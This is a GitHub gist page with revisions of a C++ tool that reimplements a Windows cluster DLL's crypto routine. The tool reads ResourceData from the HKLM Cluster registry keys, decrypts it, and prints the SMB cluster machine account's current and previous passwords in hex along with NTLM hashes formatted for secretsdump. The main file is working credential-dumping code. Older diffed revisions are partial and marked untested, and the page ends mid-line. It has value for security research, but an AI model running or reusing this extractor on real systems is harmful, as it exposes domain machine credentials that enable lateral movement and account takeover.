Last active
August 14, 2025 17:42
-
-
Save EvanMcBroom/a63f17466c7d1ab8b11ae80e520287ce to your computer and use it in GitHub Desktop.
Revisions
-
EvanMcBroom revised this gist
Jul 30, 2025 . 2 changed files with 394 additions and 260 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,394 @@ // Copyright (C) 2025 Evan McBroom and Garrett Foster // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // // Compile: cl /EHsc /MT decrypt_cluster_resourcedata.cpp // // The code may be used to encrypt or decrypt the ResourceData // content which SMB cluster servers store in the registry. // // The current format of ResourceData is as follows: // struct { // DWORD PREFIX; // Believed to be the data format version // DWORD BUFFER_IV_SIZE; // DWORD BUFFER_KEY_SIZE; // // BUFFER_IV // // BUFFER_KEY // // BUFFER_DATA // }; // // At the time of writing, the value of PREFIX is stored as 2. // The decrypted data consists of the current machine account // password for the SMB cluster followed by its previous // machine account password, if present. The format of both // passwords is as follows: // union { // struct { // DWORD PasswordLength; // BYTE Password[]; // }; // BYTE Data[260]; // }; // #define UMDF_USING_NTSTATUS #define _SILENCE_CXX17_CODECVT_HEADER_DEPRECATION_WARNING #include <windows.h> #include <bcrypt.h> #include <codecvt> #include <iomanip> #include <iostream> #include <ntsecapi.h> #include <ntstatus.h> #include <stdlib.h> #include <string> #include <vector> #include <wincrypt.h> #pragma comment(lib, "advapi32.lib") #pragma comment(lib, "bcrypt.lib") /// <summary> /// Implements a slightly modified version of the Crypto::CryptProvider class that is used /// by the clusres.dll!NetNameLib::CryptoAccessV2 api to decrypt ResourceData content. /// /// The class methods differ from the original in the following ways: /// - CryptProvider does not take a 4th dwFlags parameter. That parameter was ignored in /// Microsoft's implementation of the class. /// - Encrypt and Decrypt expect to be provided the entire contents of ResourceData. /// Microsoft's implementation expects to be provided with the contents of ResourceData /// with the leading 4 byte PREFIX data removed. This change was done for convenience. /// </summary> class CryptProvider { public: CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container); virtual ~CryptProvider(); void Encrypt(const std::vector<UCHAR>& plaintext, std::vector<UCHAR>& resourceData) { this->Encrypt((const PUCHAR)(plaintext.data()), plaintext.size(), resourceData); } void Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData); void Decrypt(std::vector<UCHAR>&); private: std::wstring _keyName; HCRYPTPROV _cryptProvider{ HCRYPTPROV(INVALID_HANDLE_VALUE) }; HCRYPTKEY _exchangeKey{ HCRYPTKEY(INVALID_HANDLE_VALUE) }; BCRYPT_ALG_HANDLE _algoProvider{ INVALID_HANDLE_VALUE }; CryptProvider(const CryptProvider&) = default; CryptProvider& operator=(const CryptProvider&) = default; void EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData); void GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector<UCHAR>& secret, std::vector<UCHAR>& iv); BCRYPT_ALG_HANDLE OpenAlgorithm(const std::wstring& algId); }; CryptProvider::CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container) { auto succeeded{ CryptAcquireContextW(&_cryptProvider, container.c_str(), provider.c_str(), dwProvType, CRYPT_MACHINE_KEYSET | CRYPT_SILENT | CRYPT_NEWKEYSET) }; if (!succeeded) { if (GetLastError() != NTE_EXISTS || !CryptAcquireContextW(&_cryptProvider, container.c_str(), provider.c_str(), dwProvType, CRYPT_MACHINE_KEYSET | CRYPT_SILENT)) { throw GetLastError(); } } _algoProvider = OpenAlgorithm(L"AES"); } CryptProvider::~CryptProvider() { if (HANDLE(_algoProvider) != INVALID_HANDLE_VALUE) { BCryptCloseAlgorithmProvider(_algoProvider, 0); } if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) { CryptDestroyKey(_exchangeKey); } if (HANDLE(_cryptProvider) != INVALID_HANDLE_VALUE) { CryptReleaseContext(_cryptProvider, 0); } } // Not fully tested void CryptProvider::Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData) { // Get a key, iv, and secret to use when encrypting the plaintext BCRYPT_KEY_HANDLE key; std::vector<UCHAR> secret; std::vector<UCHAR> iv; GenerateCryptKey(key, secret, iv); // Get the size of the encrypted secret and ciphertext // Use those values to resize the output data to be able to store them auto encryptedSecretBufferSize{ DWORD(secret.size()) }; EncryptData(&encryptedSecretBufferSize, nullptr, 0); ULONG ciphertextSize; auto status{ BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, nullptr, 0, nullptr, 0, &ciphertextSize, BCRYPT_BLOCK_PADDING) }; if (status != STATUS_SUCCESS) { throw status; } const auto headerSize{ sizeof(int) * 3 }; resourceData.resize(headerSize + iv.size() + encryptedSecretBufferSize + ciphertextSize); // Store the currently used prefix value (e.g., 2) and size of the iv and secret in the output data *reinterpret_cast<int*>(resourceData.data()) = 2; auto embeddedIvSize{ reinterpret_cast<int*>(resourceData.data()) + 1 }; auto embeddedSecretSize{ reinterpret_cast<int*>(resourceData.data()) + 2 }; *embeddedIvSize = int(iv.size()); *embeddedSecretSize = int(encryptedSecretBufferSize); // Embed the iv auto embeddedIv{ resourceData.data() + headerSize }; if (iv.size()) { std::memcpy(embeddedIv, iv.data(), iv.size()); } auto embeddedSecret{ embeddedIv + *embeddedIvSize }; auto embeddedCiphertext{ embeddedSecret + *embeddedSecretSize }; // Encrypt the plaintext and store its ciphertext in the output data status = BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, embeddedIv, ULONG(iv.size()), embeddedCiphertext, ciphertextSize, &ciphertextSize, BCRYPT_BLOCK_PADDING); if (status != STATUS_SUCCESS) { throw status; } // Embed the secret and encrypt it in-place if (secret.size()) { std::memcpy(embeddedSecret, secret.data(), secret.size()); auto secretSize{ DWORD(secret.size()) }; EncryptData(&secretSize, embeddedSecret, encryptedSecretBufferSize); } } void CryptProvider::Decrypt(std::vector<UCHAR>& data) { DWORD error{ 0 }; // Get the key stored in the CNG container that was used to encrypt the embedded secret if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) { CryptDestroyKey(_exchangeKey); } if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) { // Pointers to each component of the resource data const auto headerSize{ sizeof(int) * 3 }; auto embeddedIvSize{ reinterpret_cast<int*>(data.data()) + 1 }; auto embeddedSecretSize{ reinterpret_cast<int*>(data.data()) + 2 }; auto embeddedIv{ data.data() + headerSize }; auto embeddedSecret{ embeddedIv + *embeddedIvSize }; auto embeddedCiphertext{ embeddedSecret + *embeddedSecretSize }; auto size{ DWORD(*embeddedSecretSize) }; // Decrypt the embedded secret in-place if (CryptDecrypt(_exchangeKey, 0, true, 0, embeddedSecret, &size)) { BCRYPT_KEY_HANDLE cryptKey; // Generate a new key from the decrypted embedded secret auto status{ BCryptGenerateSymmetricKey(_algoProvider, &cryptKey, nullptr, 0, embeddedSecret, size, 0) }; if (status == STATUS_SUCCESS) { auto cbCiphertext{ ULONG(data.size() - headerSize - *embeddedIvSize - *embeddedSecretSize) }; status = BCryptDecrypt(cryptKey, embeddedCiphertext, cbCiphertext, nullptr, embeddedIv, *embeddedIvSize, embeddedCiphertext, cbCiphertext, &size, BCRYPT_BLOCK_PADDING); if (status != STATUS_SUCCESS) { status = status; } } else { error = status; } } else { error = GetLastError(); } } else { error = GetLastError(); } if (error) { throw error; } } void CryptProvider::EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData) { auto error{ CryptEncrypt(_exchangeKey, 0, true, 0, pData, pdwSize, pData ? static_cast<DWORD>(cbData) : 0) || (!pData && pdwSize) ? ERROR_SUCCESS : GetLastError()}; if (error != ERROR_SUCCESS) { throw error; } } void CryptProvider::GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector<UCHAR>& secret, std::vector<UCHAR>& iv) { NTSTATUS error{ STATUS_SUCCESS }; auto algorithm{ OpenAlgorithm(L"RNG") }; if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) { CryptDestroyKey(_exchangeKey); } if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) { DWORD blockLength; ULONG cbResult; error = BCryptGetProperty(_algoProvider, BCRYPT_BLOCK_LENGTH, reinterpret_cast<PUCHAR>(&blockLength), sizeof(blockLength), &cbResult, 0); if (error == STATUS_SUCCESS) { iv.resize(blockLength); error = BCryptGenRandom(algorithm, iv.data(), ULONG(iv.size()), 0); if (error == STATUS_SUCCESS) { secret.resize(blockLength); error = BCryptGenRandom(algorithm, secret.data(), ULONG(secret.size()), 0); if (error == STATUS_SUCCESS) { error = BCryptGenerateSymmetricKey(_algoProvider, &key, nullptr, 0, secret.data(), ULONG(secret.size()), 0); } } } } else { error = GetLastError(); } (void)BCryptCloseAlgorithmProvider(algorithm, 0); if (error) { throw error; } } BCRYPT_ALG_HANDLE CryptProvider::OpenAlgorithm(const std::wstring& algId) { BCRYPT_ALG_HANDLE hAlgorithm; auto error{ BCryptOpenAlgorithmProvider(&hAlgorithm, algId.c_str(), L"Microsoft Primitive Provider", 0) }; if (error != STATUS_SUCCESS) { throw error; } return hAlgorithm; } auto GetNtlmOwf(const std::wstring& password) { std::vector<UCHAR> ntlmOwf; HCRYPTPROV provider; if (CryptAcquireContextW(&provider, nullptr, nullptr, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) { HCRYPTHASH hash; if (CryptCreateHash(provider, CALG_MD4, 0, 0, &hash)) { if (CryptHashData(hash, reinterpret_cast<const BYTE*>(password.data()), DWORD(password.size() * sizeof(wchar_t)), 0)) { ntlmOwf.resize(MSV1_0_OWF_PASSWORD_LENGTH); auto dataLength{ DWORD(ntlmOwf.size()) }; CryptGetHashParam(hash, HP_HASHVAL, ntlmOwf.data(), &dataLength, 0); } CryptDestroyHash(hash); } CryptReleaseContext(provider, 0); } return ntlmOwf; } auto GetRegistryData(HKEY hive, const std::wstring& subKey, const std::wstring& valueName) { std::vector<UCHAR> data; HKEY key; if (RegOpenKeyExW(hive, subKey.c_str(), 0, KEY_READ, &key) == ERROR_SUCCESS) { DWORD dataSize; if (RegQueryValueExW(key, valueName.c_str(), NULL, NULL, NULL, &dataSize) == ERROR_SUCCESS) { data.resize(dataSize); (void)RegQueryValueExW(key, valueName.c_str(), NULL, NULL, data.data(), &dataSize); } RegCloseKey(key); } return data; } auto GetRegistrySubKeys(HKEY hive, const std::wstring& subKey) { std::vector<std::wstring> names; HKEY key; if (RegOpenKeyExW(hive, subKey.c_str(), 0, KEY_READ, &key) == ERROR_SUCCESS) { WCHAR name[MAX_PATH]; // A sufficient size for our needs for (DWORD index{ 0 }; RegEnumKeyW(key, index, name, sizeof(name) / sizeof(name[0])) == ERROR_SUCCESS; index++) { names.emplace_back(name); } RegCloseKey(key); } return names; } template<typename Container> inline void OutputHex(const Container& container) { for (const auto& c : container) std::wcout << std::setw(2) << std::setfill(L'0') << std::hex << static_cast<int>(static_cast<unsigned char>(c)); } inline void OutputHex(const std::wstring& data) { OutputHex(std::string(reinterpret_cast<const char*>(data.data()), data.size() * sizeof(wchar_t))); } int wmain(int argc, wchar_t* argv[]) { std::wstring checkpointsKey{ L"Cluster\\Checkpoints" }; auto checkpoints{ GetRegistrySubKeys(HKEY_LOCAL_MACHINE, checkpointsKey) }; for (const auto checkpoint : checkpoints) { auto crypto{ std::wstring(reinterpret_cast<wchar_t*>(GetRegistryData(HKEY_LOCAL_MACHINE, checkpointsKey + L"\\" + checkpoint + L"\\Crypto", L"Checkpoints").data())) }; auto providerType{ std::stoi(crypto.substr(0, crypto.find(L"\\"))) }; // In testing this has has been 1, or PROV_RSA_FULL crypto.erase(0, crypto.find(L"\\") + 1); auto provider{ crypto.substr(0, crypto.find(L"\\")) }; // In testing this has has been "Microsoft Enhanced Cryptographic Provider v1.0" crypto.erase(0, crypto.find(L"\\") + 1); auto container{ crypto.erase(0, crypto.find(L"\\") + 1) }; auto resourceKey{ std::wstring{ L"Cluster\\Resources\\" } + checkpoint }; auto resourceData{ GetRegistryData(HKEY_LOCAL_MACHINE, resourceKey + L"\\Parameters", L"ResourceData") }; if (resourceData.size()) { try { // Decrypt ResourceData CryptProvider cryptoProvider(provider, providerType, container); cryptoProvider.Decrypt(resourceData); // Parse out the plaintext const auto headerSize{ int(sizeof(int)) * 3 }; auto embeddedIvSize{ *(reinterpret_cast<int*>(resourceData.data()) + 1) }; auto embeddedSecretSize{ *(reinterpret_cast<int*>(resourceData.data()) + 2) }; auto plaintextOffset{ headerSize + embeddedIvSize + embeddedSecretSize }; auto plaintext{ resourceData.data() + plaintextOffset }; // Parse out the password that is in the plaintext // The first DWORD is the password length, but the password data can contain a null // and the effective length is all data before the null. So we skip the first DWORD // and allow std::wstring to chop of the data when it identifies a null. auto passwordDataLength{ *reinterpret_cast<int*>(plaintext) }; std::wstring password(reinterpret_cast<wchar_t*>(plaintext + sizeof(int))); // Output the password and its nt owf hash. The nt owf will conform to secretsdump's format auto ntlmOwf{ GetNtlmOwf(password) }; auto name{ std::wstring(reinterpret_cast<wchar_t*>(GetRegistryData(HKEY_LOCAL_MACHINE, resourceKey, L"Name").data())) }; std::wcout << "[+] Decrypted checkpoint " << checkpoint << std::endl; std::wcout << " Pass: "; OutputHex(password); std::wcout << std::endl; std::wcout << " Hash: " << name << L"$:"; OutputHex(ntlmOwf); std::wcout << std::endl; // Parse out the previous password. This will be the same as the current password // until the machine account password is rotated. auto previousPasswordOffset{ 260 }; // The data for previous password is stored at offset 260 auto previousPasswordSize{ int(resourceData.size()) - plaintextOffset - previousPasswordOffset }; if (previousPasswordSize > 0) { auto previousPasswordDataLength{ *reinterpret_cast<int*>(plaintext + previousPasswordOffset) }; std::wstring previousPassword(reinterpret_cast<wchar_t*>(plaintext + previousPasswordOffset + sizeof(int))); // If a previous password does not exist, then previousPasswordDataLength will be 0 // and the storage area for the previous password may contain a password with the // first wchar_t null'd to make the effective length of its data also 0. In testing, // when this occurs the previous password will contain a copy of the current password. // This will happen when a user "repairs" the active directory object for the machine // account. if (previousPasswordDataLength) { try { // Output the previous password and its nt owf hash auto ntlmOwf{ GetNtlmOwf(previousPassword) }; std::wcout << L" Previous pass: "; OutputHex(previousPassword); std::wcout << std::endl; std::wcout << L" Previous hash: " << name << L"$:"; OutputHex(ntlmOwf); std::wcout << std::endl; } catch (...) { std::wcerr << L"[-] Failed to decrypt the previous password for checkpoint " << checkpoint << L"." << std::endl; } } else { auto partialPreviousPasswordSize{ previousPasswordSize - int(sizeof(int)) - int(sizeof(wchar_t)) }; auto partialPreviousPassword{ reinterpret_cast<wchar_t*>(plaintext + previousPasswordOffset + sizeof(int) + sizeof(wchar_t)) }; if (partialPreviousPasswordSize > 0 && *partialPreviousPassword) { std::wcout << L" [!] The previous password data was overwritten and could only be partially recovered" << std::endl; std::wcout << " Partial previous pass: ????"; OutputHex(std::wstring(partialPreviousPassword)); std::wcout << std::endl; } else { std::wcout << " Previous pass: (none)" << std::endl; std::wcout << " Previous hash: (none)" << std::endl; } } } } catch (...) { std::wcerr << L"[-] Failed to decrypt ResourceData for checkpoint " << checkpoint << L"." << std::endl; } } else { std::wcerr << L"[-] Failed to find ResourceData for checkpoint " << checkpoint << L"." << std::endl; } } } This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,260 +0,0 @@ -
EvanMcBroom revised this gist
Dec 6, 2024 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -255,6 +255,6 @@ void main() { // Display the full plaintext auto plaintextLength{ resourceData.size() - headerSize - *embeddedIvSize - *embeddedSecretSize }; std::cout << std::endl << "Full plaintext (" << plaintextLength << "): "; OutputHex(plaintext, plaintextLength); std::cout << std::endl; } -
EvanMcBroom revised this gist
Dec 6, 2024 . 1 changed file with 29 additions and 8 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,9 +1,7 @@ // Copyright (C) 2024 Evan McBroom // // The code may be used to encrypt or decrypt the ResourceData // content which SMB cluster servers store in the registry. // // The current format of ResourceData is as follows: // PREFEX (4 bytes): Believed to be the data format version. @@ -22,6 +20,8 @@ #include <windows.h> #include <bcrypt.h> #include <iomanip> #include <iostream> #include <ntstatus.h> #include <stdlib.h> #include <string> @@ -133,7 +133,7 @@ void CryptProvider::Decrypt(std::vector<UCHAR>& data) { } if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) { // Pointers to each component of the resource data const auto headerSize{ sizeof(DWORD) * 2 }; auto embeddedIvSize{ reinterpret_cast<DWORD*>(data.data()) }; auto embeddedSecretSize{ reinterpret_cast<DWORD*>(data.data()) + 1 }; auto embeddedIv{ data.data() + headerSize }; @@ -222,18 +222,39 @@ BCRYPT_ALG_HANDLE CryptProvider::OpenAlgorithm(const std::wstring& algId) { return hAlgorithm; } void OutputHex(PUCHAR source, size_t length) { for (size_t index{ 0 }; index < length; index++) { std::cout << std::hex << std::setfill('0') << std::setw(2) << int(source[index]); } } void main() { std::wstring cngProvider{ L"Microsoft Enhanced Cryptographic Provider v1.0" }; DWORD dwProvType{ PROV_RSA_FULL }; // Any value here is likely fine std::wstring keyContainer{ L"NAME" }; // Will be in the format "GUID-Netname Resource Data" CryptProvider cryptoProvider(cngProvider, dwProvType, keyContainer, 0); std::vector<UCHAR> resourceData; // Ex: { 16, 0, 0, 0, 0, 1, 0, 0, ... } cryptoProvider.Decrypt(resourceData); const auto headerSize{ sizeof(DWORD) * 2 }; auto embeddedIvSize{ reinterpret_cast<DWORD*>(resourceData.data()) }; auto embeddedSecretSize{ reinterpret_cast<DWORD*>(resourceData.data()) + 1 }; const auto headerSize{ sizeof(DWORD) * 2 }; auto embeddedIvSize{ reinterpret_cast<DWORD*>(resourceData.data()) }; auto embeddedSecretSize{ reinterpret_cast<DWORD*>(resourceData.data()) + 1 }; auto plaintext{ resourceData.data() + headerSize + *embeddedIvSize + *embeddedSecretSize }; // Display the decrypted WCHAR[] auto valueLength{ (*reinterpret_cast<DWORD*>(plaintext)) * sizeof(WCHAR) }; std::cout << "Decrypted value (" << valueLength << "): "; OutputHex(plaintext + sizeof(DWORD), valueLength); // Display the full plaintext auto plaintextLength{ resourceData.size() - headerSize - *embeddedIvSize - *embeddedSecretSize }; std::cout << std::endl << "Full plaintext (" << plaintextLength << "): "; OutputHex(plaintext + sizeof(DWORD) + valueLength, plaintextLength); std::cout << std::endl; } -
EvanMcBroom revised this gist
Dec 6, 2024 . 1 changed file with 2 additions and 2 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -2,8 +2,8 @@ // // The code may be used to encrypt or decrypt the ResourceData // content which SMB cluster servers store in the registry. The // code has not been tested but should be close enough to get // working. // // The current format of ResourceData is as follows: // PREFEX (4 bytes): Believed to be the data format version. -
EvanMcBroom revised this gist
Dec 6, 2024 . 1 changed file with 15 additions and 2 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -2,10 +2,23 @@ // // The code may be used to encrypt or decrypt the ResourceData // content which SMB cluster servers store in the registry. The // code has not been tested but they should be // close enough to get this working. // // The current format of ResourceData is as follows: // PREFEX (4 bytes): Believed to be the data format version. // HEADER { // BUFFER_IV_SIZE (4 bytes) // BUFFER_KEY_SIZE (4 bytes) // } // BUFFER_IV // BUFFER_KEY // BUFFER_DATA // // At the time of writing, the value of PREFIX is stored as 2. // The PREFIX value should be stripped before encrypting and // decrypting any ResourceData content. // #include <windows.h> #include <bcrypt.h> -
EvanMcBroom revised this gist
Dec 6, 2024 . 1 changed file with 2 additions and 3 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -123,10 +123,9 @@ void CryptProvider::Decrypt(std::vector<UCHAR>& data) { const auto headerSize{ sizeof(DWORD) * 3 }; auto embeddedIvSize{ reinterpret_cast<DWORD*>(data.data()) }; auto embeddedSecretSize{ reinterpret_cast<DWORD*>(data.data()) + 1 }; auto embeddedIv{ data.data() + headerSize }; auto embeddedSecret{ embeddedIv + *embeddedIvSize }; auto embeddedCiphertext{ embeddedSecret + *embeddedSecretSize }; DWORD size{ *embeddedSecretSize }; // Decrypt the embedded secret in-place if (CryptDecrypt(_exchangeKey, NULL, TRUE, 0, embeddedSecret, &size)) { -
EvanMcBroom revised this gist
Dec 6, 2024 . 1 changed file with 176 additions and 176 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -17,211 +17,211 @@ class CryptProvider { public: CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container, DWORD dwFlags); virtual ~CryptProvider(); void Encrypt(const std::vector<UCHAR>& plaintext, std::vector<UCHAR>& resourceData) { this->Encrypt((const PUCHAR)(plaintext.data()), plaintext.size(), resourceData); } void Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData); void Decrypt(std::vector<UCHAR>&); private: std::wstring _keyName; HCRYPTPROV _cryptProvider{ HCRYPTPROV(INVALID_HANDLE_VALUE) }; HCRYPTKEY _exchangeKey{ HCRYPTKEY(INVALID_HANDLE_VALUE) }; BCRYPT_ALG_HANDLE _algoProvider{ INVALID_HANDLE_VALUE }; CryptProvider(const CryptProvider&) = default; CryptProvider& operator=(const CryptProvider&) = default; void EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData); void GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector<UCHAR>& secret, std::vector<UCHAR>& iv); BCRYPT_ALG_HANDLE OpenAlgorithm(const std::wstring& algId); }; CryptProvider::CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container, ULONG dwFlags) { (void)dwFlags; // Unused= auto succeeded{ CryptAcquireContextW(&_cryptProvider, container.c_str(), provider.c_str(), dwProvType, CRYPT_MACHINE_KEYSET | CRYPT_SILENT | CRYPT_NEWKEYSET) }; if (!succeeded) { if (GetLastError() != NTE_EXISTS || !CryptAcquireContextW(&_cryptProvider, container.c_str(), provider.c_str(), dwProvType, CRYPT_MACHINE_KEYSET | CRYPT_SILENT)) { throw GetLastError(); } } _algoProvider = OpenAlgorithm(L"AES"); } CryptProvider::~CryptProvider() { if (HANDLE(_algoProvider) != INVALID_HANDLE_VALUE) { BCryptCloseAlgorithmProvider(_algoProvider, 0); } if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) { CryptDestroyKey(_exchangeKey); } if (HANDLE(_cryptProvider) != INVALID_HANDLE_VALUE) { CryptReleaseContext(_cryptProvider, 0); } } void CryptProvider::Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData) { // Get a key, iv, and secret to use when encrypting the plaintext resourceData.resize(sizeof(DWORD) * 2); BCRYPT_KEY_HANDLE key; std::vector<UCHAR> secret; std::vector<UCHAR> iv; GenerateCryptKey(key, secret, iv); // Store the size of the iv and secret in the output data auto embeddedIvSize = [](std::vector<UCHAR>& resourceData) { return reinterpret_cast<DWORD*>(resourceData.data()); }; auto embeddedSecretSize = [](std::vector<UCHAR>& resourceData) { return reinterpret_cast<DWORD*>(resourceData.data()) + 1; }; *embeddedIvSize(resourceData) = iv.size(); *embeddedSecretSize(resourceData) = secret.size(); // Get the size of the encrypted secret and ciphertext // Use those values to resize the output data to be able to store them auto cbEncryptedSecret{ DWORD(secret.size()) }; EncryptData(&cbEncryptedSecret, nullptr, 0); ULONG cbCiphertext; auto status{ BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, nullptr, 0, nullptr, 0, &cbCiphertext, BCRYPT_BLOCK_PADDING) }; if (status != STATUS_SUCCESS) { throw status; } resourceData.resize(resourceData.size() + iv.size() + cbEncryptedSecret + cbCiphertext); // Embed the iv and unencrypted secret auto embeddedIv{ reinterpret_cast<PUCHAR>(reinterpret_cast<DWORD*>(resourceData.data()) + 2) }; if (iv.size()) { std::memcpy(embeddedIv, iv.data(), iv.size()); } auto embeddedSecret{ embeddedIv + iv.size() }; if (secret.size()) { std::memcpy(embeddedSecret, secret.data(), secret.size()); } // Encrypt the embedded secret in-place EncryptData(embeddedSecretSize(resourceData), embeddedSecret, cbEncryptedSecret); // Encrypt the plaintext and store its ciphertext in the output data status = BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, iv.data(), iv.size(), embeddedSecret + *embeddedSecretSize(resourceData), cbCiphertext, &cbCiphertext, BCRYPT_BLOCK_PADDING); if (status != STATUS_SUCCESS) { throw status; } } void CryptProvider::Decrypt(std::vector<UCHAR>& data) { DWORD error{ 0 }; // Get the key stored in the CNG container that was used to encrypt the embedded secret if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) { CryptDestroyKey(_exchangeKey); } if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) { // Pointers to each component of the resource data const auto headerSize{ sizeof(DWORD) * 3 }; auto embeddedIvSize{ reinterpret_cast<DWORD*>(data.data()) }; auto embeddedSecretSize{ reinterpret_cast<DWORD*>(data.data()) + 1 }; auto embeddedCiphertextSize{ reinterpret_cast<DWORD*>(data.data()) + 2 }; auto embeddedIv{ reinterpret_cast<PUCHAR>(reinterpret_cast<DWORD*>(data.data()) + 3) }; auto embeddedSecret{ embeddedIv + *embeddedIvSize }; auto embeddedCiphertext{ embeddedIv + *embeddedSecretSize }; DWORD size{ *embeddedSecretSize }; // Decrypt the embedded secret in-place if (CryptDecrypt(_exchangeKey, NULL, TRUE, 0, embeddedSecret, &size)) { BCRYPT_KEY_HANDLE cryptKey; // Generate a new key from the decrypted embedded secret auto status{ BCryptGenerateSymmetricKey(_algoProvider, &cryptKey, NULL, 0, embeddedSecret, size, 0) }; if (status == STATUS_SUCCESS) { auto cbCiphertext{ (ULONG)(data.size() - headerSize - *embeddedIvSize - *embeddedSecretSize) }; status = BCryptDecrypt(cryptKey, embeddedCiphertext, cbCiphertext, nullptr, embeddedIv, *embeddedIvSize, embeddedCiphertext, cbCiphertext, &size, BCRYPT_BLOCK_PADDING); if (status != STATUS_SUCCESS) { status = status; } } else { error = status; } } else { error = GetLastError(); } } else { error = GetLastError(); } if (error) { throw error; } } void CryptProvider::EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData) { auto error{ CryptEncrypt(_exchangeKey, NULL, TRUE, 0, pData, pdwSize, pData ? static_cast<DWORD>(cbData) : 0) ? ERROR_SUCCESS : GetLastError() }; if (error != ERROR_SUCCESS) { throw error; } } void CryptProvider::GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector<UCHAR>& secret, std::vector<UCHAR>& iv) { DWORD error{ 0 }; auto algorithm{ OpenAlgorithm(L"RNG") }; if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) { CryptDestroyKey(_exchangeKey); } if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) { DWORD blockLength; ULONG cbResult; auto status{ BCryptGetProperty(_algoProvider, BCRYPT_BLOCK_LENGTH, reinterpret_cast<PUCHAR>(&blockLength), sizeof(blockLength), &cbResult, 0) }; if (status == STATUS_SUCCESS) { status = BCryptGenRandom(algorithm, iv.data(), iv.size(), 0); if (status == STATUS_SUCCESS) { if (HANDLE(key) != INVALID_HANDLE_VALUE) { BCryptDestroyKey(key); } status = BCryptGenerateSymmetricKey(_algoProvider, &key, nullptr, 0, secret.data(), secret.size(), 0); if (status != STATUS_SUCCESS) { error = status; } } else { error = status; } } else { error = status; } } else { error = GetLastError(); } BCryptCloseAlgorithmProvider(algorithm, 0); if (error) { throw error; } } BCRYPT_ALG_HANDLE CryptProvider::OpenAlgorithm(const std::wstring& algId) { BCRYPT_ALG_HANDLE 